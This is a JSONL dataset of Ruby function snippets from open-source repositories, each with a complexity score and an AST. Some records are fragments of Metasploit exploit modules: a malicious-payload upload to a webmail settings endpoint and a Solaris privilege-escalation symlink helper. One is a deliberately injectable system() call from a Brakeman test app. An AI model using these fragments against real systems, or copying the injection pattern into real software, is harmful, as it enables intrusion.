\"?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload\"),\n      'ctype' => \"multipart/form-data; boundary=#{boundary}\",\n      'data' => data\n    })\n\n    print_good('Exploit attempt complete. Check for session.')\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading malicious payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"png_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"str\",\"children\":[\"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boundary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Disposition: form-data; name=\\\"_file[]\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Content-Type: image/png\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"png_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\n--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"--\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?_task=settings&_remote=1&_from=edit-!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_from\"]}]},{\"type\":\"str\",\"children\":[\"&_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_id\"]}]},{\"type\":\"str\",\"children\":[\"&_uploadid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_uploadid\"]}]},{\"type\":\"str\",\"children\":[\"&_action=upload\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Exploit attempt complete. Check for session.\"]}]}]}]}","id":"92919514-b19a-4399-8d15-f77cd5caf295"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb","start_line":24,"raw_source":"def sysread(length = nil)\n    self.filed.read(length)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sysread\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"length\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filed\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}","id":"85bb4b18-e0d0-4fe0-a6ce-87f9dc195e1c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pxe_image_ipxe.rb","start_line":13,"raw_source":"def self.parse_contents(contents, label)\n    current_item = {:label => label}\n    contents.each_line do |line|\n      line  = line.strip\n      key   = line.split.first.downcase.to_sym\n      value = line[key.to_s.length..-1].strip\n\n      case key\n      when :kernel\n        current_item[:kernel], current_item[:kernel_options] = corresponding_menu.parse_kernel(value)\n      else\n        current_item[key] = value if [:initrd].include?(key)\n      end\n    end\n\n    if current_item[:kernel].blank?\n      _log.warn(\"Image #{current_item[:label]} missing kernel - Skipping\")\n      return []\n    end\n\n    [current_item]\n  end","complexity_score":40.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]},{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\"]},\"first\"]},\"downcase\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"length\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"strip\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"kernel\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"kernel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"kernel_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"corresponding_menu\"]},\"parse_kernel\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"initrd\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kernel\"]}]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Image \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]},{\"type\":\"str\",\"children\":[\" missing kernel - Skipping\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]}]}]}]}","id":"b13e0e0b-bc16-4567-a923-01742c86ee5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb","start_line":129,"raw_source":"def symlink(link_target, link_name)\n    vprint_status \"Symlinking #{link_target} to #{link_name}\"\n    rm_f link_name\n    cmd_exec \"ln -sf #{link_target} #{link_name}\"\n    register_file_for_cleanup link_name\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"symlink\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link_target\"]},{\"type\":\"arg\",\"children\":[\"link_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Symlinking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_target\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rm_f\",{\"type\":\"lvar\",\"children\":[\"link_name\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ln -sf \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_target\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"link_name\"]}]}]}]}","id":"54ac99d3-d9ed-4e80-b045-893605b36471"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":481,"raw_source":"def set_cost_zero_when_nil\n      self.cost = 0 unless cost\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cost_zero_when_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cost\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cost=\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"f7af4b2b-4a06-4e2f-81ed-0b750f282181"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/spec/jobs/scheduled/enqueue_reminders_spec.rb","start_line":115,"raw_source":"def assert_reminders_enqueued(expected_amount)\n      expect { subject.execute({}) }.to change(Jobs::RemindUser.jobs, :size).by(expected_amount)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_reminders_enqueued\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"execute\",{\"type\":\"hash\",\"children\":[]}]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"RemindUser\"]},\"jobs\"]},{\"type\":\"sym\",\"children\":[\"size\"]}]},\"by\",{\"type\":\"lvar\",\"children\":[\"expected_amount\"]}]}]}]}","id":"bca3a09d-3e97-4aeb-8bf9-ff30ef323c96"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/lib/shell.rb","start_line":102,"raw_source":"def string_concatenation\n    system(\"echo \" + foo)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"string_concatenation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"foo\"]}]}]}]}","id":"6b29698d-b167-40f8-9362-4ace9e5ca5da"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/supports_attribute.rb","start_line":27,"raw_source":"def supports_attribute(colname = nil, feature: :create, child_model: nil)\n      feature = feature.to_sym\n\n      if child_model\n        define_method(colname) do\n          class_by_ems(child_model)&.supports?(feature) || false\n        end\n      else\n        colname ||= \"supports_#{feature}\"\n\n        define_method(colname) do\n          supports?(feature)\n        end\n      end\n\n      virtual_attribute colname, :boolean\n    end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"colname\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"feature\",{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"child_model\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_model\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"colname\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_by_ems\",{\"type\":\"lvar\",\"children\":[\"child_model\"]}]},\"supports?\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"colname\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"supports_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"colname\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"supports?\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"virtual_attribute\",{\"type\":\"lvar\",\"children\":[\"colname\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]}]}]}","id":"60e7e406-108a-4ee7-bc06-7fcbabaadf64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":222,"raw_source":"def mock_extras(context, parent: :not_given, lookahead: :not_given)\n    allow(context).to receive(:parent).and_return(parent) unless parent == :not_given\n    allow(context).to receive(:lookahead).and_return(lookahead) unless lookahead == :not_given\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_extras\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"kwoptarg\",\"children\":[\"parent\",{\"type\":\"sym\",\"children\":[\"not_given\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"lookahead\",{\"type\":\"sym\",\"children\":[\"not_given\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"==\",{\"type\":\"sym\",\"children\":[\"not_given\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookahead\"]},\"==\",{\"type\":\"sym\",\"children\":[\"not_given\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"lookahead\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"lookahead\"]}]}]}]}]}]}","id":"784863e5-27de-4862-af23-05bdb7967712"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/nuget/version_helpers.rb","start_line":79,"raw_source":"def compare_numeric_parts(a_pre_part, a_num, b_pre_part, b_num)\n        a_num <=> b_num if a_num != b_num && numeric?(a_pre_part) && numeric?(b_pre_part)\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_numeric_parts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a_pre_part\"]},{\"type\":\"arg\",\"children\":[\"a_num\"]},{\"type\":\"arg\",\"children\":[\"b_pre_part\"]},{\"type\":\"arg\",\"children\":[\"b_num\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_num\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"b_num\"]}]},{\"type\":\"send\",\"children\":[null,\"numeric?\",{\"type\":\"lvar\",\"children\":[\"a_pre_part\"]}]}]},{\"type\":\"send\",\"children\":[null,\"numeric?\",{\"type\":\"lvar\",\"children\":[\"b_pre_part\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_num\"]},\"<=>\",{\"type\":\"lvar\",\"children\":[\"b_num\"]}]},null]}]}","id":"c1d3d83b-0386-49ae-ac88-e86fc4e9c2b2"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/databrics_model/client.rb","start_line":35,"raw_source":"def read(sync_config)\n        connection_config = sync_config.source.connection_specification\n        connection_config = connection_config.with_indifferent_access\n        # The server checks the ConnectorQueryType.\n        # If it's \"ai_ml,\" the server calculates the payload and passes it as a query in the sync config model protocol.\n        # This query is then sent to the AI/ML model.\n        payload = JSON.parse(sync_config.model.query)\n        run_model(connection_config, payload)\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"DATABRICKS MODEL:READ:EXCEPTION\",\n                           type: \"error\"\n                         })\n      end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"source\"]},\"connection_specification\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"model\"]},\"query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_model\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"DATABRICKS MODEL:READ:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"f97f3196-f553-49f1-ad1c-46837bdf75d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/copy_design_collection/copy_service.rb","start_line":76,"raw_source":"def log_exception(exception)\n        payload = {\n          issue_id: issue.id,\n          project_id: project.id,\n          target_issue_id: target_issue.id,\n          target_project: target_project.id\n        }\n\n        Gitlab::ErrorTracking.track_exception(exception, payload)\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_issue\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"dc9b9db8-21ff-43fc-a3c5-879462d178a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/alert_management/alert_presenter.rb","start_line":61,"raw_source":"def issue_summary_markdown\n      <<~MARKDOWN.chomp\n        #{metadata_list}\\n\n      MARKDOWN\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_summary_markdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata_list\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},\"chomp\"]}]}","id":"6407dfa4-3405-4aa9-8f19-cce5e4b2de8b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/ai_tool.rb","start_line":27,"raw_source":"def signature\n    {\n      name: function_call_name,\n      description: description,\n      parameters: parameters.map(&:symbolize_keys),\n    }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"signature\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"function_call_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]}]}]}]}]}]}","id":"ba593e39-4b7b-4810-85b8-84612ff23b24"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/username_changer.rb","start_line":11,"raw_source":"def self.change(user, new_username, actor = nil)\n    self.new(user, new_username, actor).change\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"new_username\"]},{\"type\":\"optarg\",\"children\":[\"actor\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"new_username\"]},{\"type\":\"lvar\",\"children\":[\"actor\"]}]},\"change\"]}]}","id":"58fa205f-835c-4b4a-82dd-957b6199a719"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/secure_compare_rotator.rb","start_line":47,"raw_source":"def secure_compare!(other_value, on_rotation: @on_rotation)\n      if secure_compare(@value, other_value)\n        true\n      elsif @rotate_values.any? { |value| secure_compare(value, other_value) }\n        on_rotation&.call\n        true\n      else\n        raise InvalidMatch\n      end\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"secure_compare!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_value\"]},{\"type\":\"kwoptarg\",\"children\":[\"on_rotation\",{\"type\":\"ivar\",\"children\":[\"@on_rotation\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_compare\",{\"type\":\"ivar\",\"children\":[\"@value\"]},{\"type\":\"lvar\",\"children\":[\"other_value\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rotate_values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"other_value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_rotation\"]},\"call\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidMatch\"]}]}]}]}]}","id":"d90d8cce-5166-4d6b-a827-cdae8f045215"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb","start_line":208,"raw_source":"def mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk)\n    location = caller_locations(1, 1).first\n    mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default, location: location, &blk)\n    mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor, default: default, location: location)\n  